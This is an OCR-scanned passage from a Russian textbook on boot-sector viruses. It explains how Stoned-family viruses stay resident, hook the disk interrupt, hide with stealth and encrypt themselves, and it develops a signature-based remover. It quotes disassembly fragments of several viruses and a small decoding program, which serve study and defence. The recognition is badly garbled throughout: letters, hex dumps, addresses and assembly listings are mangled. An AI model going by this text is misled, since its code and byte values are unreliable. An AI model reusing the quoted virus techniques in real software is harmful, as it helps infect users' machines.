А. и Б. Стругацкие. «Хшцнне вевди века»

В этом разделе мн кратко рассмотрим обшие принципи функциони- 
рования загрузочннх вирусов.

2.2.1. Как загрузочние вируси получают управление
Обнчно вирус просто замевдает своим кодом стандартннй загрузчик, 
располагаюшийся в начальном секторе винчестера или дискети.

Если вирус заразил загрузчик дискетн, то он может получить 
уиравление в одном-единственном случае -  если кто-то попнтает- 
ся с этой дискетн загрузиться. Вопреки распространенной средн 
малоквалифицированннх пользователей легенде, «запрнгнуть» на 
компьютер во время обнчних записи или чтения файлов с заражен- 
ной дискетн загрузочннй вирус в принципе не может!

Если вирус заразил МВК или ЬооЬсектор винчестера, то он по- 
лучает управление в первьхе мгновения после включения питания 
(а также после перезагрузки компьютера «кнопкой» или «тремя паль- 
цами»). Фактически это происходит егце до того, как первьга компо- 
нент операционной системн оказнвается в оперативной памяти. Та- 
ким образом, вирус всегда имеет «право внступки» -  огромную фору 
по отношению к любому системному или прикладному программно- 
му обеспечению.

Чтобн процедура загрузки операционной системн не нарушалась, 
вирус может:

О сохранить оригинальное содержимое МВК или Воо1-сектора в 
«укромном уголке» винчестера или дискетн, а после вьшолне- 
ния своих несанкционированннх действий загрузить «ориги- 
нал» в память и передать ему управление, так что процедура 
загрузки продолжится и завершится естественньш образом;
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О вьшолнить (возможно, упрошенную) процедуру загрузки са- 
мостоятельно.

Элементарннй анализ структурн размешения информации на дис- 
ковмх носителях показмвает, что «укромннх уголков» на дискете или 
винчестере достаточно. 4аше всего вирус сохраняет оригинальнмй 
загрузчик на нулевой дорожке винчестера в обнчно неиспользуемой 
области между секторами {0,0,1} и {1,0,1}.

До заражения (см. рис. 2.3);

МВР 1

Рис. 2.3 ❖ Правильная передача 
управления загрузчику

После заражения (см. рис. 2.4.):

Вирус МВР ВООТ

Рис. 2.4 ❖ Передача управления загрузчику 
на зараженной машине

Например, многне разновидности вируса 5<;опе<1 используют для 
хранения старой МВК сектор {0,0,7}. Это, кстати, может привести 
(и неоднократно приводило!) к конфликтам между вирусами «одной 
породн», результатом чего являлась утеря оригинального содержи- 
мого МВК..

2.2.2. Как загрузочнь»е вирусь! заражают 
свои жертвь!
Возможнн два «сценария» активации вируса:

О вирус находился в одном из загрузочньхх секторов винчестера; 
О вирус находился в загрузочном секторе дискетн.
В первом случае вирус располагает свой код (или часть его) в опе- 

ративной памяти компьютера, встраивается в цепочку обработчиков
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прернвания 13Ь или 40Ь, отслеживает обравдения к дискетам и за- 
ражает их.

Во втором случае вирус сначала записнвается в загрузочннй сек- 
тор винчестера. Далее он может внполнить действия по оставлению 
себя в памяти и перехвату дисковнх прернваний и, таким образом, 
немедленно приготовиться к заражению других дискет. Но может и не 
делать этого, поскольку после следуюадей же перезагрузки компью- 
тера ситуация автоматически начнет развиваться по сценарию «за- 
грузка с винчестера».

2.2.3. Как вирусь! остаются резидентно в памяти
Подавляюшее большинство загрузочннх вирусов пользуются тем 
фактом, что по адресу 0:413Ь программа Р05Т  помевдает размер в ки- 
лобайтах доступной основной оперативной памяти, а М 5-1)05 все- 
цело «доверяет» этому значению в процессе своей загрузки и функ- 
ционирования. Загрузочньш вирус стартует после программн Р05Т, 
но до операционной системн. Он корректирует содержимое ячейки 
0:413Ь в сторону уменьшения (например, бнло 640, а стало 639) и ко- 
пирует свой код в образовавшийся якобн «несушествуюший» фраг- 
мент оперативной памяти. Там его никто не тронет.

Этот фрагмент всегда располагается в конце 640-килобайтной 
«основной» ггамяти и имеет размер, кратний 1024 байтам. Таким об- 
разом, положение загрузочннх вирусов в оперативной памяти, как 
правило, жестко фиксировано. Например, если вирус «откусил» 2 Кб 
памяти, то его код длиной 2048 байт всегда будет размешен, начиная 
с адреса 9Ғ80Ь:0.

2.2.4. Как заподозрить и «изловить» загрузочньм 
вирус
Загрузочнне вирусн сами ио себе очень редко конфликтуют с опера- 
ционной системой, поэтому способнн обитать на компьютере долгое 
время, оставаясь незамеченньши и распространяя вокруг себя «за- 
разу» через инфицированнне дискета. Обнаруживаются они, как 
правило, благодаря следуюшим обстоятельствам.

Во-первнх, большинство загрузочннх вирусов, согласно «древней 
традиции», рано или поздно проявляют себя какой-нибудь дурацкой 
шуткой или серьезной деструкцией. Например, классический ви- 
рус 5£опе<1 с вероятностью 1/8 блокировал процедуру нормальной 
загрузки компьютера, информируя пользователя: «Уоиг РС 15 по\у
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ЗюпесП ЬЕСАЬ15Е МАК1]17АКЛ!»> А вирус М|сЬе1ап§е1о (5(;опе(1.
МагсЬб) активировался всего раз в год -  6 марта, но при этом пере- 
записнвал «мусором» (случайнмми даннмми) обширние области на 
виичестере, с которого загрузился. Подобнне несанкционированнне 
действия происходят до загрузкп операционной системн, и, следова- 
тельно, пострадать от них может даже саммй современнмй компью- 
тер с самой современной версией \ \ ; 1 пскт^. Поэтому довольно ти- 
пичннм -  увм! -  является обнаружение загрузочньгх вирусов лишь 
в результате «посмертного вскрмтия» компьютера, переставшего за- 
гружаться.

Во-втормх, при запуске из-под М8- Г305 системная утилита МЕМ 
сообшает о количестве занятой и свободной оперативной памяти. 
каковне на современньтх компьютерах в сумме должнн составлять 
640 Кб. Если вирус присутствует в памяти, цифрн могут не сойтись:
С:\>теи

Тип памятк Размер Занято Овободно

Обвчная 638К ЮОК 538К <- 1

Верхняя ок ОК ОК

З арезврзировано ок ОК ОК

Память ХМЗ 15360К 14068К 1292К

Вс9го п з *я ти 159Ў8К 14168К 1330К

Наконец, в Ш тсктя распределение памяти совсем другое, и МЕМ, 
работаюшая под управлением виртуальной машинм, ничего «стран- 
пого» не покажет. Тем не менее, даже не пользуясь антивирусом, запо- 
дозрить наличие нового вируса в системнмх областях винчестера или 
дискетм пользователь может и самостоятельно, визуально просмат- 
ривая их содержимое при помогци утилитм типа 5утапсес гЗхяк Ес1] г 
(работает в М 5-005) или Асгошз I)]хк Ес1Иог (работает в \Утск>\\'5). 
Ведь ранее уже упоминалось, что загрузочнме сектора имеют ряд ха- 
рактернмх признаков (например, расположеннме внутри строковне 
сообшения), по наличию или отсутствию котормх можно отличитъ 
«здоровнй» сектор от «больного».

Эти же утилитн позволят не только просмотреть, но и скопировать 
содержимое зараженньтх секторов винчестера или дискетн в указан-
ннй ф айл для дальиейшего изучения. Есть одна тонкость: все это
желательно делать, загрузившись с заведомо «чистой» системной 
дискетн или ЦуеСЦ/ВУБ, поскольку вирус, находявдийся в памятп, 
может исказить картину и даже блокировать все ваши попнтки.
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2.3. Охотимся за вафувочнь1м вирусом
А Малишев в восторге. Прямо на седьмом 
пебе. Режет мух и разглядивает в микроскоп. 
Говорит, чпю вжизни не представлял себе ни- 
чею подобного.

А. и Б. Стругацкие. 
«Чрезвмчайное происшествие»

Проиллюстрируем все этапн обнаружения. анализа и удаления за- 
грузочной «заразм» на примере вируса 8<;опе<1.Ап«;1ЕХЕ. Наш внбор 
в значительной степени определяется слсдуклцими обстоятельствами.

Вирус этот давно известен, по крайней мере с начала 90-х годов 
XX века. Как свидетельствует бюллетень от ,)ое Ше11з, он изредка 
встречается (вероятно, на дискетах в стармх архивах) до сих пор 
практически везде -  и в России, и в США, и в Австралии. Вирусньгй 
код содержит ряд любопмтнмх фрагментов, исследование котормх 
следует признать весьма поучительнмм. Наконец, немаловажнмм 
является то, что этот вирус не форматирует винчестер, не обнуляет 
СМОЗ-память, не перезагружает каждме 5 минут машину и даже 
не внводит на экран нецензурннх ругательств, а всего лишь «тихо и 
мирно» препятствует запуску какого-то очень древнего и давно всеми 
забнтого антивируса -  программм длиной 200 256 байт.

2.3.1. Анализ вирусного кода
Допустим, что, пронаблюдав работу компьютера и изучив при помо- 
ши ГЗлакЕсИг загрузочнне сектора винчестера и часто используеммх 
на этом компьютере дискет, вн пришли к внводу о присутствии за- 
грузочного вируса. В частности, шестнадцатеричньш дамп МВК вм- 
глядит совсем не так, как ему полагается внглядеть. В нем «на про- 
свет» не видно никаких предупреждаюших сообшений, которме там 
обязанн присутствовать!
000 Е9 14 01 <10-00 00 00 2 0 -3 3  2Е 33 0 0 -0 2  02 01 0П ш. Н. 3 .3 .

0 -0  02 /0  00 0 0 -0 2  ҒС- 02 0 0 -0 9  00 02 0 0 -0 0  00 40 5А . р .Н1
020 40 00 88 0 1 -3 7  0Ғ Е0 80-ҒС  Ғ9 74 52-2Е  АЗ 07 00 ё .И  7 ,р А . т Н .г  .

030 00 03 72 4А-9С  2Е 80 ЗЕ-08 00 02 75-40  51 56 57 . . г О Ь .А _у« 0 \м
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Скопируем МВК винчестера в дисковнй файл с именем, напри- 
мер, АНТ1ЕХЕ.ВШ. В принципе, можно вьшолнить тюшаговую трас- 
сировку полученного кода в эмулируклцем отладчике типа ВосЬз, но 
гораздо полезнее дизассемблировать и изучить его по листингу. Для 
этой цели может бьггь с успехом использован не только какой-нибудь 
мошньш дизассемблер типа IОА или 5оигсег, но и сравнительно прос- 
тая и исключительно удобная утилита Ш Е\¥ от Е. Сусликова.

Листинг вируса, приведенннй в приложении, достаточно подробно 
прокомментирован. Остановимся на наиболее важннх моментах.

Во-первнх, нужно отметить, что зараженннй вирусом сектор име- 
ет характерную структуру, приведенную внше -  на рис. 2.2в. В зара- 
женном секторе, кроме программного кода, присутствуют и таблица 
параметров дискетьх, и таблица разделов винчестера. И это логично, 
ведь вирус обязан одновременно сочетать в себе свойства загрузчи- 
ков различннх типов.

Во-вторнх, поскольку операционная система еше не загружена, 
в распоряжении вируса имеются довольно скуднне возможности 
взаимодействия с оборудованием, предоставляемне ВЮ5. Напри- 
мер, обраидаться к секторам диска можно через прернвание 13Ъ, 
к клавиатуре -  через 16Ь, к видео -  через 10Ь... да и все, пожалуй. 
Ноэтому вирусу приходится пользоваться очень низкоуровневнми 
системннми операциями, например напрямую модифицировать таб- 
лицу векторов прернваний, расположенную с адреса 0:0.

Далее, при исследовании вируса следует иметь в виду, что в лис- 
тинге в качестве адресов приведеньх смешения от начала кода. На- 
пример, внполнение вируса начинается по смевдению 0 -  с командн 
безусловного перехода, которая передает управление на фрагмент 
инициализации по смешению 117Ь. Учитнвая, что на самом деле код 
вируса размешается в регионе с адресом 0:7С00Ь, реальннй адрес точ- 
кипереходаравен 7С00Ь+117Ь=7017Ь. Подобннмже образомможно 
пересчитать и значения любнх других адресов. Некоторне дизассем- 
блерн, например ША, позволяют вьшолнить подобннй пересчет ав- 
томатически.

Исследуя код вируса, легко видеть, что фрагмент инициализации 
внполняет ряд действий:

О копирует вектор прернвания 13Ь в вектор Г)ЗЬ, чтобн обра- 
шаться к дисковьхм процедурам ВЮ5 командой << ШТ 1)ЗЬ»;

О изменяет положение стека;
О «откуснвает» от системной памяти 1 Кб, так что загруженная 

позже М5-1Ю5 этот фрагмент использовать не будет;
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О изменяет в таблице векторов прернваний адрес обработчика 

преривания 1ЗЬ так, чтобш он теперь указнвал внутрь «отку- 
санной» памяти;

О копирует тело вируса в «откусанную» память и передает управ- 
ление на эту копию.

Оказавшись в «откусанной» памяти, фрагмент инициализации ви- 
руса проверяет, откуда вшполнялась загрузка, и если с дискета, то за- 
мевдает вирусом сектор {0,0,1} винчестера, сохраняя старнй по адресу 
{0,0,В}. Для считьшания оригинального сектора вирусом использует- 
ся теперь уже свободньгй буфер в памяти с адресом 0:7С00Ь.

Если зафузка внполнялась с винчестера, то больше уже ничего де- 
лать не надо. Для завершения работн вирусу достаточно поместить 
в стек слова 0 и 7С00Ь, а потом вьшолнить команду «КЕТҒ». Загруз- 
ка операционной системн продолжится так, словно ее внполнял бн 
оригинальньш загрузчик.

Операционная система М 5-В05 распределит свободную память 
(не учитнвая «откусанного» фрагмента), разместит в ней свой код и 
даннне, встроится в цепочки обработчиков прернваний (не подозре- 
вая, что чуть ранее в них уже встроился вирус) и начнет свою работу. 
Теперь любая системная или прикладная программа, обратившись 
к сектору диска посредством «1НТ 13Ь», попадет в обработчик, при- 
надлежаший вирусу.

Завершая бнстрьга анализ вирусного кода, давайте заострим свое 
внимание на вопросе: как же устроен этот обработчик?

Первне же действия вирусного обработчика -  сохранение кода 
операции (он находился в регистре АН) и немедленная передача 
управления оригинальному обработчику дискового прернвания по- 
средством «1НТ ВЗЬ». Таким образом, все дисковне операции, ини- 
циированнне операционной системой и прикладньши программами, 
проходят «штатно».
Ме«13:

в о у  о у * е  р т г  с з : 5 а у е _ А Н ,  аи
1ПТ ООЗЬ 

)С Е г г _ '3

Но после того. как дисковая операция нормально внполнится, 
управление вновь берет на себя вирусннй обработчик. Теперь он про- 
веряет: а какое действие, собственно говоря, бьхло внполнено - чте- 
ние сектора, запись, форматирование дорожки или что-нибудь иное? 
И. прежде всего его интересует, не прочитан ли в результате какой- 
либо дисковьш сектор.
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ризпГ
с я р  в у ! е  р т г  с 5 '.5 а у е _ А Н ,2  

] п е  Но_Веас)

са11 ЗТеаии  
Мо_йеао'. 
во р Г  

Егг_13: 
г е М  2

И если било внполнено именно чтение, то, прежде чем внйти из 
обработчика прернвания и передать управление внзнваюшей про- 
грамме, внполняется некая процедура, работаюшая следуювдим об- 
разом.

ЗИеаИп:

в и зч  е з  
рор сз
во у  а к .ш г й  р*г сз: [0 ] 
сшр а х ,[Ь х ]  
дпе N01,80 
*оу  ах.ио гр  ргг с з : Г2]
с®с а х ,[0х+2]
]пе Нот_Е0
лю у с х .м о г й  р т г  05:[Ьх+4] 
пю у с п .Ь у Т е  р Т г  й з : [ Ь х + 6 ]  
п о ч  а х ,  201(1
1ПТ 00311

Н оТ_£0 :

геТ п

Суть ее алгоритма: если обработчиком бнла внполнена операция 
чтения и в буфере с адресом Е5:ВХ уже хранится содержимое про- 
читанного сектора, то вирус начинает последовательно проверять, 
а не совпадают ли первие байтн прочитанного сектора с кодом само- 
го вируса. И если оказнвается, что по крайней мере 4 первнх байта 
совпадают, то вирус извлекает сохраненнне координатн «спрятанно- 
го>> оригинального загрузчика (они хранятся в байтах [4], [5] и [6], 
занимаемьгх ранее бесполезной меткой «М 5005»), загружает в АН 
число 2 (код командн чтения сектора) и самостоятельно внполняет 
это чтение в «пользовательский» бу(|>ер.

Таким образом, если какая-либо программа или операционная 
система обратится к дисковому сектору, в котором реально «еидит» 
вирус, то в буфере памяти после операции чтения окажется не код
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вируса, а код оригинального загрузчика. Вирус на диске есть, но его 
невозможно увидеть!

Этот прием носит наименование «стелсирование» (от англ. наре- 
чия .ч/еакк, означаюшего «украдкой», «втихомолку». «незаметно»), 
а вирусьг, используюадие нечто подобное, -  $1еакк-вируш, или апелс- 
вируси.

2.3.2. Разработка антивируса
Попробуем представить себе. что потребуется, чтобм обезвредить 
81опе<1АпиЕХЕ. Антивирусная программа должна:

О обнаружить код вир\гса в оперативной памяти компьютера и 
однозначно идентифицировать его;

О обезвредить зЬеакЬ-механизм вируса, после чего ми получим 
возможность напрямую читать дисковме сектора без боязни, 
что их содержимое будет подменено;

О обезвредить процедуру заражения, восстановив прежнее зна- 
чение вектора прерьшания 13Ь, после чего мм получим воз- 
можность напрямую писать дисковне сектора без боязни, что 
их содержимое б\гдет замешено кодом вируса;

О обнаружить в загрузочннх секторах винчестера и дискет ви- 
русньш код и также однозначно идентифицировать его как код 
вируса 51опе<1>АпйЕХЕ;

О размскать по смешениям оригинальное содержимое загрузоч- 
нмх секторов на винчестере и дискетах и записать их на их «за- 
конное» место (впрочем, и на дискете, и на винчестере ориги- 
нал хранится в {0,0,0}).

Внимательннй читатель может заметить, что первьхе три пункта 
нашей программм действий не являются необходимьши. В самом 
деле, загрузившись со «здоровой» дискетн, мн получим в свое распо- 
ряжение абсолютно чистую от каких-либо 51еакЬ-механизмов опера- 
тивную память компьютера. А значит, можно смело обнаруживать и 
удалять вирус с дисковнх накопителей, не опасаясь противодействия 
со сторонн коварного вируса.

Тем не менее мн будем бороться с вирусом не по упрошенному ал- 
горитму, а «как положено». Ведь, в конце концов, может оказаться, 
что зараженная машина управляет ядерннм реактором, и перезагру- 
жать ее просто нельзя. Как вн думаете, это вероятная ситуация?

В компьютерной вирусологии (и не только в ней) важную роль 
играет понятие с.игнатури вируса. В широком толковании сигна- 
тура - это уникальная «подпись», однозначно характеризуюшая
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«автора». Разумеется, «подпись» вируса не имеет ничего обгдего 
с каллиграфическими вензелями, вьгполненньши гусинмм пером на 
пергаменте. Вирус однозначно характеризуется уникальной, то есть 
ни в каких других программах не встречаюадейся, комбинацией бай- 
тов (или даже фрагментов байтов). Это и есть сигнатура вируса.

С-игнатурн используются не только для детектирования вирусов, 
но и для различения наборов даннмх, имеюших специфические фор- 
матн. Например, все загрузочнне сектора характеризуются сигна- 
турой АА55Ь, исполняемне ЕХЕ-файлн программ -  строчкой 'М2', 
структурированнне храниливда документов и электронньтх таблиц -  
последовательностью 1)0Ь СҒЬ 11Ь ЕОЬ и т. п.

Длина вирусной сигнатурн может бьггь разной. В идеале в нее 
должна входить вся постоянная часть вируса. Но на момент написа- 
ния этих строк в мире насчитнвалось несколько десятков тнсяч раз- 
личннх файловнх и загрузочньгх вирусов плюс несколько миллио- 
нов троянских программ. Хранение длинннх сигнатур технически 
нерационально и экономически не внгодно, поэтому современнне 
антивирусн используют для детектирования вредоносннх программ 
не сами сигнатурн, а лишь контролъние сумми от них. Понятно, что 
такой подход несколько снижает надежность однозначного распозна- 
вания. Методн, которьши решается эта проблема, будут рассмотренн 
в последней главе книга.

Мн будем использовать для распознавания вирусов простне сиг- 
натурн. Поскольку в антивирусннх компаниях исследование вирусов 
поставлено на поток, то процесс внбора сигнатур там, как правило, 
автоматизирован. Мн же, не связаннне требованиями скоростного 
массового производства «лечилок», имеем возможность более тсца- 
тельного внбора сигнатурн. Поэтому в наших примерах исцеляювдих 
программ сигнатурн будут короткими -  не более десятка байтов, зато 
очень информативньши.

Говоря о сигнатурах, невозможно не упомянуть одну заниматель- 
ную историю, рассказанную однаждн в телеконференции гекот. 
сотрлтгия Я. О. Грязновнм:

На заре вирусно-антивирусной эпопеи, когда вирусов бьшо всего 
ничего и сканерь: бь/ли именно сканерами, то есть просматривали 
весь файл целиком на предмет наличия определенной последо- 
вательности байт -  той самой «сигнатурь/», эти «сигнатурь/» дей- 
ствительно бьши чем-то ценним и рассматривались некоторь/ми 
как коммерческая тайна, «кпош-Нот». За каждьш новшм вирусом
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гонялись, как я не знаю за чем. Если конкурент обнаруживал на 
один-два вируса больше, это бь/ла катастрофа! Вот и дергали 
в отсутствие «живого» вируса эти самие сигнатурь! друг удруга... 
Ну, М>п МсА1ее и подложил свинью потенциальним конкурен- 
там -  «хакерам», вбив в свой Зсап, наряду с реальнь/ми вируса- 
ми, парочку липовь/х «сигнатур»... Из таких липовь/х «сигнатур» 
вспоминается действительно легендарнь/й «вирус» Л//сЛо/з, за 
которим вся антивирусная братия (за исключением МсАҒее, раз- 
умеется) безуспешно гонялась несколько лет. Причем, блин, его 
ведь «видели»! Примерно как сегодня некоторь/е «видят» Элвиса 
Пресли то там, то сям... Все это бь/ло в примерно 1986-1988 гг. 
С тех пор много водь/ утекло...

Итак. займемся непосредственной разработкой антивируса.
Шаг 1. Прежде всего необходимо обнаружить вирус в 0 3  У. Изучая 

алгоритм работм 51опес1.Ап(лЕХЕ, мн пришли к внводу, что агрес- 
сивньш код располагается в оперативной памяти всегда в одном и том 
же месте, а именно в скрнтом от операционной системн последнем 
килобайте основной памяти. Конкретнне адреса легко вьхчислить на 
основании информации, приведенной в полном листинге вирусного 
кода (см. приложение). Обратим внимание на следуюхций фрагмент 
процедурн обработки дискового прернвания (слева указанн адреса 
и значения байтов):
С02С 2Е:АЗ 00С7 шоу »огй р*г сз:8ауе_АХ,ах
0030 00 03 1 п1: ООЗИ
0032 72 4А ] с Еггог
0034 90 ризМ*
0035 2Е:80 ЗЕ 0008 02 сғ.р С8:8ауе_АХ*1,2
003В 75 40 1'пе 0К

Внберем в качестве сигнатурьх 8 байтов, размехценннх последова- 
тельно, начиная с адреса 35Ь: «2Е 80 ЗЕ 00 08 02 75 40».

Таким образом, если в оперативной памяти по смехцению 9ҒС0Ь:35Ь 
окажутся именно эти байтн, то будем считать, что вирус 5(:опесЗ. 
АпИЕХЕ присутствует в памяти, и он активен.

Шаг 2. Теперь разработаем план нейтрализации вируса в памяти. 
Обратим свой взор все на тот же фрагмент, в котором мн внбрали 
8 байтов в качестве сигнатурн. Дело в том, что деструктивннй алго- 
ритм вируса, а также процедура модменн секторов и заражения дис- 
кет никогда не получат управления, если этот фрагмент будет вьхгля- 
деть, например, вот так:
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002С 2 Е :А З  0 00 7 ПОУ м а г а  р т г

0 03 0 С 0  03 ш т ООЗИ

0032 72  4А Е г г о г

0 03 4 9С РиЗИ Г

0 03 5 9 0 пор
0 03 6 90 пор
0 03 7 9 0 пор
0 0 3 8 9 0 пор
0 03 9 90 пор
003А 90 пор
0 03 В ЕВ  40 3«р ок

Теперь становится понятннм, для чего мн внбрали свою сигнатуру 
именно в этом месте. Мн собираемся изменить этот фрагмент своим 
антивирусом. А потом всегда сможем различить: это активньш вирус 
или уже «убитьш». В противном случае нам пришлось бн использо- 
вать две сигнатурн в двух разньгх местах.

Разумеется, нам просто повезло, что в вирусе нашелся такой «удоб- 
ннй» фрагмент, изменепием которого мн нейтрализуем сразу три 
нежелательньгх агрессивннх механизма. В обшем случае пришлось 
бн решать все эти проблемн по отдельности. Хотя, конечно, в запасе 
у нас всегда имеется такой мошньхй и безотказннй прием, как обна- 
ружение в теле вируса сохраненного значения орипхнального векто- 
ра прернвания 13Ь и возврат его на законное место. Конкретно, для 
случая вируса З^опей-АпйЕХЕ, пришлось бн взять двойное слово по 
адресу 0:34СЬ и переписать его в 0:4СЬ. Это гораздо проше, но далеко 
не так поучительно.

Шаг 3. Спланируем удаление вируса из загрузочннх секторов дис- 
кет и винчестера. Во-первнх, необходимо прочитать сектор с коорди- 
натами {0,0,1} в массив размером 512 байтов. В качестве сигнатурн 
Для различения «здорового» и «больного» секторов можно с успехом 
использовать все те же 8 байтов, только теперь они будут размешать- 
ся в массиве, начиная с индекса 35Ь.

Если мьт прочитали сектор {0,0,1} с дискетн и он оказался заражен 
вирусом 84опес1.А11ЙЕХЕ, то нужно взять с. той же дискетм содержи- 
мое сектора с адресом, параметрн которого (значение регистра БН 
при внзове 1т13Ь) сохраненн в вирусе по смешению 6, и перезапи- 
сать его в загрузчик. Для винчестера процедура аналогична, только 
адрес «пленного» загрузчика постоянен: {ОДОБЬ}.

Исходннй текст на язнке Си для процедур, обнаруживаюших и 
нейтрализуюш,их загрузочннй вирус 81опс(1.Лп(:1ЕХЕ. находится 
в приложении. Доступ к хсонкретнмм дисковьш секторам осутеств-



I

ляется при помо1ди функции ЪюзсНзк(), а вмборка и заметение дан- 
нмх в ОЗУ -  при помооди макросов реекЬ() и рокеЪ().

2.4. Редко встречаюшиеся особенности
Странноспи... Нет никаких странностей. 
Естъ просто неровности...

А. и Б. Стругацкие. «Попнтка к бегству»

Как мьх могли убедиться несколькими страницами вмше, принцип 
действия загрузочннх вирусов весьма прост. Большинство загру- 
зочннх вирусов весьма похожи друг на друга. Однако целесообразно 
рассмотреть наиболее часто встречаювдиеся и наиболее важнме осо- 
бенности, которьхе могут встретиться в процессе изучения и уничто- 
жения загрузочнмх вирусов.

2.4.1. Зашифрованнме вирусм
Сразу после вхслючения питания процессорн семейства 180x86 начи- 
нают работу в так назмваемом реалъном режиме. В этих условиях от- 
сутствуют какие-либо механизмм захцитн памяти, что означает пол- 
ную возможность самомодификации программного кода. Рассмотрим 
фрагмент листинга вируса ЗСопе^&М:
; Оригинальикй код 
]|гр $0
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$0: с И
хо г  ах .,ах
ГГ;ОУ 55, ах
тоу бз,ах
ггоч' зр, 7С00
с П
х о г  а х .а х

35, ах
яюу оз, ах
ш / зр, 7С00
8П
; Процедура расшифроеки 

м у  о х ,  о Т т з е !  $1
гт:0У с х ,0 '7 Е

$2: ипу аР,[Ьх]
х о г  а г .Ғ Ғ

ю ч  [ а х . ; ,а 11
1ПС  Р Х

1оор 8?

Фр.= гмент  цо и п о оле  рэошкйгон| . и
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$1: РОР 31 ; шоу а х , [ 0 0 4 1 3 ]
1п а 1. Сх ; ЗиО а х , 0002

3^1 ; тю у [0 0 4 1 3 1 ,ах
з а г СМ, с ! ; гсоу с 1 .0 6

с э  1 1 [5 1 ][0 Ғ Ғ Е С ] ; зМ1 а х ,  с !

5Т1 ; з п ! а х , с !
сес 31 ; ризП ах

5 ' С ; рор ез

зиЬ а 1, 1Ғ ; глоу Ь х ,0200
зса з« ; т о у а х , 0201

с ! с ; п)ОУ с х , 0001
1ПС зр ; х о г ЙП.ЙМ
999 Ьр ; шоу 0 1 . [ 0 7 6 0 8 ]

Начало вируса вмглядит доволмю традиционио. но с адреса памя- 
ти, символически помеченного как «$1», начинается странно вьггля- 
дяшая последовательность команд, часть из котормх даже не подда- 
ется дизассемблированию. В таком состоянии, в каком код находится 
в момент старта вируса 5(.опес1.Д&М, он не подлежит исполнению. 
Конечно, каждая отдельно взятая команда «безумного» кода что-то 
означает и даже может бмть воспринята процессором как вполне ле- 
гальная. Но все вместе они, вьшолняемне последовательно, не могут 
привести ни к чему иному, кроме как к тяжелому «подвисанию» ма- 
шинм. Поэтому перед тем, как передать управление на «безумннй» 
фрагмент, вирус применяет к значениям его байтов операцию, об- 
ратную той, каковая бнла использована при зашифровке кода. Для 
этой цели очень часто используется операция «ХОК», привлекаютая 
своей «самосимметричностью»:
<Старое значение>ф<Ключ>=<Новое значение>;
<Новое значение>Ф<Ключ>=<Старое значение>.

Примерно таким же свойством обладают операции «КОТ» и 
«МЕС», но они не позволяют варьировать ключ шифрования. То же 
самое можно сказать и про операции обмена местами частей регистра 
или ячейки памяти: для 16-битового слова ее можно реализовать ко- 
мандой «ХСНС», а для 8-битового байта -  командами «КОЬ» или 
«КОК». Встречаются и другие арифметические и логические опера- 
ции, но они треб>тот применения в шифровшиках и расшифровши- 
ках «зеркально-симметричннх» команд: для «А1)Г)» это «511В», для 
«ЗНЬ» это «5Н К» и т. п. Вот почему авторн вирусов обнчно пользу- 
ются для зашифровки своего кода операцией «исключаютцее ИЛИ».

Зачем все это делается? Чтобн чуть-чуть затруднить жизнь виру- 
сологу, изучаюшему код. Вирусолог вннужден будет применить один 
ИЗ следуюшлх подходов.
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Во-первнх, он может вьтолнить пошаговую трассировку кода 
в отладчике ВосЬя. В этом случае вирус на глазах у вирусолога сам 
расшифрует себя.

Или вирусолог может поместить содержимое подозрительного 
сектора в файл и написать специальную декодируюшую программу, 
например такую:
/ /  Рзсшифровкз кода вируса 81спей 
# тс1и й е  <згою .Ь>
#хпс1ийе <10. Н>
#1пс1ис!е <Тспт1.Н>
1 пг Т, 1 ; иП51дпей С^аг ЬиТ[512]: 
ш а т ( )
I
Т - а ре п СШ .  В1Н", 0_ВЙ<Я10_в1НАЙУ);
геас1(Т, аиТ, 512);
Тог (1=0x39; К0х17Е+0х39; 1+*) СиТ[ 1]“=0хҒҒ;
: “С0<('.  0, 5ЕЕК.8ЕТ); 
и П т е (Т , ЬиТ, 512); 
с105е(Т);

}
Еше одной возможностью является использование средств интерак- 

тивнь1х дизассемблеров, каковьь\ш являются, например, Н1Е\У Е. Сус- 
ликова или ГОА И. Гильфанова. Утилита Н1Е\У позволяет назначить 
правило декодирования байтов при помоши простенькой программки 
на примитивном гтсевдоассемблере». а в ГОА для этой цели придется 
писать скриптьт на встроенном Си- или РугЬоп-подобном язнке.

2.4.2. Вируси, не сохраняюидие оригинальннх 
загрузчиков
Действия, вьшолняемме стандартнмми загрузочньши программами, 
весьма простм и однообразнм: минимально протестировать логиче- 
скую структуру диска на корректность, прочитать в память фрагмент 
стартового файла операционной системм и передать ему управлепие. 
Поэтому некоторая часть вирусов не сохраняет оригинальнмх загру- 
зочнмх секторов вообше, самостоятельно вьпюлняя их функции.

В качестве примера рассмотрим фрагмент листинга вируса 
АпИСМ05. котормй лишь сохраняет внутри себя Раг1;1Г1оп ТаЬ1е, са- 
мостоятельно сканирует ее и загружает в память ЬооГ-сектор актив- 
ного раздела винчестера:

,.)е Ғго:г;_Ғ0[)
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Ғгот_Н 00
(ЯОЧ з 1 ,о Т Т з е т  РТао1е-10п
Нехт_йес

аОй 31, 10(1
сгар оуТе р Т г [ 3 1 ] , 80П Это активнм й  раздел
]п е МехТ_Вес е Р а г т Ш о п  Тао1е’
МОУ' 'IX. [3 1 ] Если да, то  лроисход ит
шоу с х , [3 1 + 2 ] з а гр у з к а  е р е ги с тр у
ЯО'.' 0х, [7000(1 ] координат РооТ -сектора
тоу а х , 2 0 1 п ае ти зн о го  раздела и
т т 13(1 чтение е го  в пам ять по

]Я1Р ЗИогт 1ос_11
а дре су 0 7000

Ғ го т_Ғ 0 0 : Фрагмент эмуляции з а гр уэки

1.ос_ 11:

0(3 ОЕап

с дискетм  (пропуш ен). 

ЭМР 0000:7000(1
0И 7С00Н. 0000

Ргай1е ЧЬ 6Д Йиэ ( ? ) Р а т И о п  ТаЬ1е
с!'« ОАА55п оИ :Н Зтур8 ззгр уо О чн о го  оектооа

Также вам будет любопмтен фрагмент листинга вируса 51пке, ко- 
торнй имитирует действия оригинального загрузчика при попмтке 
загрузиться с «несистемной» дискетн.

шсу а 1 ,с з :3 а ^е _ 0 !_
сшр Й1, 80(1
) а е  Ғгога_Н00
Ғгога_Ғ00:

шоу з г .о Г Г з е г  Мезвзд
ИехгС :
1ойз0
о г

12
ШОУ
ш т
1ГЯР

э1, а 1 
ЕпаРП: 
ал, 0Е(1 
10(1
8Погг иехгс

Эагрузка бмла тера?

Еп й _ Р г 1:: 
зиЬ ах,а>
1П* 16(1
хпг 19П 
Ғгога_Н00:

Мевзад аь 'М о"-5узтега  
0Ь 'Я ер1асе апс з Т п к е  ;

сЬ
аь 64 ()ир ( ? )  

0АА“ '“

, Обрзботка з а гр у з к и  с дисквтм:
